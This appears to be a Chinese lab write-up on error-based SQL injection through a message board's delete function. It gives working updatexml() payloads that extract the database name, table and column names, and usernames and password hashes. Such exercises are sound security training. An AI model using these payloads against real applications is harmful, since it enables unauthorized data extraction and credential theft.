报错注入——delete型
1.查看界面
登录界面:
很明显,并没有反馈的东西,我们尝试点击留言内容
当我们输入内容时,会直接传送到留言板中,也没有显示位置,但是留意有删除选项,查看是否为注入点
2.点击删除
删除后界面:
可以看见“11”的内容被删除了,明显这就是在通过删除修改数据库内容,这是一个接入点,抓取报文进行尝试
3.分析报文
在报文中存在传送id值,这明显是数字类型,所以后续不用加入单引号进行注入,首先尝试了一下联合注入,但由于没有回显位,所以是肯定不行的。(需要注意,这里是GET传送,所以要使用URL的编码格式!!!)
4.使用updatexml函数获取数据库名
1
| -1 or (updatexml(1,concat(0x7e,database(),0x7e),1))
|
5.获取数据库表名
1
| -1 or (updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))
|
有缺失,说明长度不够长,使用substr函数
1
| 1 or (updatexml(1,concat(0x7e,substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),32,31),0x7e),1))
|
6.获取表
1
| -1 or (updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('users')),0x7e),1))
|
1
| -1 or (updatexml(1,concat(0x7e,substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)like('users')),32,32),0x7e),1))
|
7.获取表中的内容
1
| -1 or (updatexml(1,concat(0x7e,(select(group_concat(username))from(users)),0x7e),1))
|
1
| -1 or (updatexml(1,concat(0x7e,(select(group_concat(password))from(users)),0x7e),1))
|
8.解码
“MD5的码,请阅读SQL——数字型”